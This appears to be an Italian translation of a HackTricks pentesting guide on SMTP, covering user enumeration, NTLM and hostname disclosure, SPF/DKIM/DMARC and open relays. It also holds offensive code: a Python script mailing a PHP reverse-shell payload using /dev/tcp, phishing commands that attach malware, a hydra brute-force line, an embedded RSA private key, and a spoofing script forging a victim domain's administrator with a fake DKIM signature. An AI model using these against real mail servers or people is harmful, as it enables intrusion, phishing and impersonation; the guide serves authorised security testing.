hacktricks/network-services-pentesting/pentesting-smtp
2024-03-29 21:03:31 +00:00
..
README.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-29 21:03:31 +00:00
smtp-commands.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-29 21:03:31 +00:00
smtp-smuggling.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-29 21:03:31 +00:00

25,465,587 - Test di penetrazione SMTP/s

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{% embed url="https://pentest-tools.com/" %}

Informazioni di base

Il Simple Mail Transfer Protocol (SMTP) è un protocollo utilizzato all'interno della suite TCP/IP per l'invio e la ricezione di e-mail. A causa delle sue limitazioni nel mettere in coda i messaggi al destinatario, SMTP viene spesso utilizzato insieme a POP3 o IMAP. Questi protocolli aggiuntivi consentono agli utenti di memorizzare i messaggi su una casella di posta del server e di scaricarli periodicamente.

In pratica, è comune che i programmi di posta elettronica utilizzino SMTP per l'invio di e-mail, mentre utilizzano POP3 o IMAP per riceverle. Nei sistemi basati su Unix, sendmail spicca come il server SMTP più frequentemente utilizzato per scopi di posta elettronica. Il pacchetto commerciale noto come Sendmail include un server POP3. Inoltre, Microsoft Exchange fornisce un server SMTP e offre la possibilità di includere il supporto POP3.

Porta predefinita: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

Intestazioni EMAIL

Se hai l'opportunità di far inviare all'utente un'email (tramite il modulo di contatto della pagina web, ad esempio), fallo perché potresti apprendere la topologia interna della vittima osservando le intestazioni dell'email.

Puoi anche ottenere un'email da un server SMTP cercando di inviare a quel server un'email a un indirizzo inesistente (poiché il server invierà all'attaccante un'email di notifica di mancata consegna). Tuttavia, assicurati di inviare l'email da un indirizzo consentito (verifica la politica SPF) e che tu possa ricevere messaggi di notifica di mancata consegna.

Dovresti anche provare a inviare contenuti diversi perché potresti trovare informazioni più interessanti nelle intestazioni come: X-Virus-Scanned: by av.domain.com
Dovresti inviare il file di test EICAR.
Rilevare l'AV potrebbe consentirti di sfruttare vulnerabilità conosciute.

Azioni di base

Banner Grabbing/Connessione di base

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Trovare i server MX di un'organizzazione

dig +short mx google.com

Enumerazione

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Divulgazione di informazioni

Se il server supporta l'autenticazione NTLM (Windows) è possibile ottenere informazioni sensibili (versioni). Ulteriori informazioni qui.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Oppure automatizza questo con il plugin nmap smtp-ntlm-info.nse

Nome del server interno - Divulgazione di informazioni

Alcuni server SMTP completano automaticamente l'indirizzo del mittente quando viene emesso il comando "MAIL FROM" senza un indirizzo completo, rivelando il suo nome interno:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Verifica se riesci a intercettare qualche password dai pacchetti verso la porta 25

Bruteforce di Autenticazione

Enumerazione Bruteforce di Username

L'autenticazione non è sempre necessaria

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

Il comando VRFY viene utilizzato per verificare l'esistenza di un utente in un server SMTP.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

Il comando EXPN viene utilizzato per verificare se un indirizzo email specifico è valido e per ottenere ulteriori informazioni sull'utente associato a quell'indirizzo.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Strumenti automatici

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

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Rapporti DSN

Rapporti di notifica dello stato di consegna: Se invii un email a un'organizzazione con un indirizzo non valido, l'organizzazione ti notificherà che l'indirizzo era invalido inviando una mail di ritorno a te. Gli header dell'email restituita conterranno possibili informazioni sensibili (come l'indirizzo IP dei servizi di posta che hanno interagito con i rapporti o informazioni sull'antivirus).

Comandi

Invio di un'email dalla console Linux

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Invio di un'email con Python

Codice Python qui ```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys

lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = "" msg['From'] = "attacker@local" msg['To'] = "victim@local" msg['Subject'] = "This is not a drill!"

payload

message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print("[-]Connection Error") exit()

server.starttls()

Uncomment if log-in with authencation

server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string()) server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

</details>

## Smuggling SMTP

La vulnerabilità di Smuggling SMTP ha permesso di aggirare tutte le protezioni SMTP (controlla la sezione successiva per ulteriori informazioni sulle protezioni). Per ulteriori informazioni su Smuggling SMTP controlla:

{% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md)
{% endcontent-ref %}

## Contromisure Spoofing Email

Le organizzazioni sono impedite dall'invio di email non autorizzate per conto loro utilizzando **SPF**, **DKIM** e **DMARC** a causa della facilità di falsificare messaggi SMTP.

Una **guida completa a queste contromisure** è disponibile su [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

{% hint style="danger" %}
SPF [è stato "deprecato" nel 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Ciò significa che invece di creare un **record TXT** in `_spf.domain.com` lo si crea in `domain.com` utilizzando la **stessa sintassi**.\
Inoltre, per riutilizzare i record SPF precedenti è comune trovare qualcosa del genere `"v=spf1 include:_spf.google.com ~all"`
{% endhint %}

**Sender Policy Framework** (SPF) è un meccanismo che consente agli Agenti di Trasferimento di Posta (MTA) di verificare se un host che invia una email è autorizzato interrogando un elenco di server di posta autorizzati definiti dalle organizzazioni. Questo elenco, che specifica gli indirizzi IP/range, i domini e altre entità **autorizzate a inviare email per conto di un nome di dominio**, include vari "**Meccanismi**" nel record SPF.

#### Meccanismi

Da [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):

| Meccanismo | Descrizione                                                                                                                                                                                                                                                                                                                         |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | Corrisponde sempre; utilizzato per un risultato predefinito come `-all` per tutti gli IP non corrispondenti ai meccanismi precedenti.                                                                                                                                                                                                                                  |
| A         | Se il nome di dominio ha un record di indirizzo (A o AAAA) che può essere risolto all'indirizzo del mittente, corrisponderà.                                                                                                                                                                                                                   |
| IP4       | Se il mittente si trova in un determinato intervallo di indirizzi IPv4, corrisponde.                                                                                                                                                                                                                                                                              |
| IP6       | Se il mittente si trova in un determinato intervallo di indirizzi IPv6, corrisponde.                                                                                                                                                                                                                                                                              |
| MX        | Se il nome di dominio ha un record MX che risolve all'indirizzo del mittente, corrisponderà (ovvero la posta proviene da uno dei server di posta in arrivo del dominio).                                                                                                                                                                          |
| PTR       | Se il nome di dominio (record PTR) per l'indirizzo del client è nel dominio dato e quel nome di dominio risolve all'indirizzo del client (DNS inverso confermato in avanti), corrisponde. Questo meccanismo è sconsigliato e dovrebbe essere evitato, se possibile.                                                                                     |
| EXISTS    | Se il nome di dominio dato risolve a un qualsiasi indirizzo, corrisponde (indipendentemente dall'indirizzo a cui risolve). Questo è raramente usato. Insieme al linguaggio macro SPF offre corrispondenze più complesse come le query DNSBL.                                                                                                                           |
| INCLUDE   | Fa riferimento alla politica di un altro dominio. Se la politica di quel dominio passa, passa anche questo meccanismo. Tuttavia, se la politica inclusa fallisce, il processo continua. Per delegare completamente alla politica di un altro dominio, deve essere utilizzata l'estensione di reindirizzamento.                                                                                     |
| REDIRECT  | <p>Un reindirizzamento è un puntatore a un altro nome di dominio che ospita una politica SPF, consente a più domini di condividere la stessa politica SPF. È utile quando si lavora con un gran numero di domini che condividono la stessa infrastruttura email.</p><p>La politica SPF del dominio indicato nel Meccanismo di reindirizzamento verrà utilizzata.</p> |

È anche possibile identificare **Qualificatori** che indicano **cosa fare se un meccanismo viene corrisposto**. Per impostazione predefinita, viene utilizzato il **qualificatore "+"** (quindi se viene corrisposto un qualsiasi meccanismo, ciò significa che è consentito).\
Di solito noterai **alla fine di ciascuna politica SPF** qualcosa come: **\~all** o **-all**. Questo viene utilizzato per indicare che **se il mittente non corrisponde a nessuna politica SPF, dovresti contrassegnare l'email come non attendibile (\~) o rifiutare (-) l'email.**

#### Qualificatori

Ogni meccanismo all'interno della politica può essere preceduto da uno dei quattro qualificatori per definire il risultato previsto:

* **`+`**: Corrisponde a un risultato PASS. Per impostazione predefinita, i meccanismi assumono questo qualificatore, rendendo `+mx` equivalente a `mx`.
* **`?`**: Rappresenta un risultato NEUTRO, trattato in modo simile a NONE (nessuna politica specifica).
* **`~`**: Indica SOFTFAIL, fungendo da punto intermedio tra NEUTRO e FAIL. Le email che soddisfano questo risultato vengono tipicamente accettate ma contrassegnate di conseguenza.
* **`-`**: Indica FAIL, suggerendo che l'email dovrebbe essere rifiutata direttamente.

Nell'esempio seguente, è illustrata la **politica SPF di google.com**. Nota l'inclusione delle politiche SPF da diversi domini all'interno della prima politica SPF:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

È stato tradizionalmente possibile falsificare qualsiasi nome di dominio che non aveva un record SPF corretto/o. Oggi, se l'email proviene da un dominio senza un record SPF valido probabilmente verrà rifiutata/marcata come non attendibile automaticamente.

Per verificare l'SPF di un dominio è possibile utilizzare strumenti online come: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM viene utilizzato per firmare le email in uscita, consentendo la loro validazione da parte di agenti di trasferimento di posta esterni (MTA) attraverso il recupero della chiave pubblica del dominio da DNS. Questa chiave pubblica si trova in un record TXT del dominio. Per accedere a questa chiave, è necessario conoscere sia il selettore che il nome di dominio.

Ad esempio, per richiedere la chiave, sono essenziali il nome di dominio e il selettore. Questi possono essere trovati nell'intestazione dell'email DKIM-Signature, ad esempio, d=gmail.com;s=20120113.

Un comando per recuperare queste informazioni potrebbe apparire così:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC migliora la sicurezza delle email basandosi sui protocolli SPF e DKIM. Esso definisce le politiche che guidano i server di posta nella gestione delle email provenienti da un dominio specifico, inclusi come gestire i fallimenti dell'autenticazione e dove inviare i report sulle azioni di elaborazione delle email.

Per ottenere il record DMARC, è necessario interrogare il sottodominio _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

Tag DMARC

Nome Tag Scopo Esempio
v Versione del protocollo v=DMARC1
pct Percentuale di messaggi sottoposti a filtraggio pct=20
ruf URI di report per report forensi ruf=mailto:authfail@example.com
rua URI di report aggregati rua=mailto:aggrep@example.com
p Politica per il dominio dell'organizzazione p=quarantine
sp Politica per i sottodomini del OD sp=reject
adkim Modalità di allineamento per DKIM adkim=s
aspf Modalità di allineamento per SPF aspf=r

Cosa succede con i Sottodomini?

Da qui.
È necessario avere record SPF separati per ciascun sottodominio da cui si desidera inviare posta.
Quanto segue è stato originariamente pubblicato su openspf.org, che era una grande risorsa per questo tipo di informazioni.

La Domanda del Demone: Cosa succede con i sottodomini?

Se ricevo posta da pielovers.demon.co.uk e non ci sono dati SPF per pielovers, dovrei tornare indietro di un livello e testare SPF per demon.co.uk? No. Ogni sottodominio in Demon è un cliente diverso e ogni cliente potrebbe avere la propria politica. Non avrebbe senso che la politica di Demon si applichi per default a tutti i suoi clienti; se Demon vuole farlo, può impostare record SPF per ciascun sottodominio.

Quindi il consiglio agli editori SPF è il seguente: dovresti aggiungere un record SPF per ciascun sottodominio o nome host che ha un record A o MX.

I siti con record A o MX wildcard dovrebbero avere anche un record SPF wildcard, della forma: * IN TXT "v=spf1 -all"

Ha senso - un sottodominio potrebbe benissimo trovarsi in una posizione geografica diversa e avere una definizione SPF molto diversa.

Relay Aperto

Quando vengono inviate email, è cruciale assicurarsi che non vengano contrassegnate come spam. Questo viene spesso realizzato attraverso l'uso di un server di relay affidabile dal destinatario. Tuttavia, una sfida comune è che gli amministratori potrebbero non essere pienamente consapevoli di quali intervalli di IP siano sicuri da consentire. Questa mancanza di comprensione può portare a errori nella configurazione del server SMTP, un rischio spesso identificato nelle valutazioni della sicurezza.

Un workaround che alcuni amministratori utilizzano per evitare problemi di consegna delle email, specialmente per le comunicazioni con potenziali o attuali clienti, è consentire connessioni da qualsiasi indirizzo IP. Ciò viene fatto configurando il parametro mynetworks del server SMTP per accettare tutti gli indirizzi IP, come mostrato di seguito:

mynetworks = 0.0.0.0/0

Per verificare se un server di posta è un open relay (il che significa che potrebbe inoltrare email da qualsiasi origine esterna), viene comunemente utilizzato lo strumento nmap. Esso include uno script specifico progettato per testare ciò. Il comando per condurre una scansione dettagliata su un server (ad esempio, con IP 10.10.10.10) sulla porta 25 utilizzando nmap è:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Strumenti

Invia Email Spoofata

Oppure puoi utilizzare uno strumento:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} Se ottieni un errore usando la libreria dkim python nel parsing della chiave, sentiti libero di utilizzare la seguente.
NOTA: Questo è solo un fix temporaneo per effettuare controlli rapidi nei casi in cui per qualche motivo la chiave privata di openssl non può essere analizzata da dkim.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% endhint %}

Oppure potresti farlo manualmente:

{% tabs %} {% tab title="PHP" %}

# Questo invierà un messaggio non firmato
mail("tua_email@gmail.com", "Oggetto di prova!", "Ciao! Questo è un test", "Da: amministratore@vittima.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

Ulteriori informazioni

Trova ulteriori informazioni su queste protezioni in https://seanthegeek.net/459/demystifying-dmarc/

Altri indicatori di phishing

  • Età del dominio
  • Link che puntano a indirizzi IP
  • Tecniche di manipolazione dei link
  • Allegati sospetti (non comuni)
  • Contenuto dell'email danneggiato
  • Utilizzo di valori diversi da quelli degli header dell'email
  • Esistenza di un certificato SSL valido e attendibile
  • Invio della pagina a siti di filtraggio dei contenuti web

Esfiltrazione tramite SMTP

Se puoi inviare dati tramite SMTP leggi questo.

File di configurazione

Postfix

Di solito, se installato, in /etc/postfix/master.cf contiene script da eseguire quando ad esempio un nuovo messaggio viene ricevuto da un utente. Ad esempio, la riga flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} significa che /etc/postfix/filtering verrà eseguito se un nuovo messaggio viene ricevuto dall'utente mark.

Altri file di configurazione:

sendmail.cf
submit.cf

Riferimenti

Comandi Automatici di HackTricks

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

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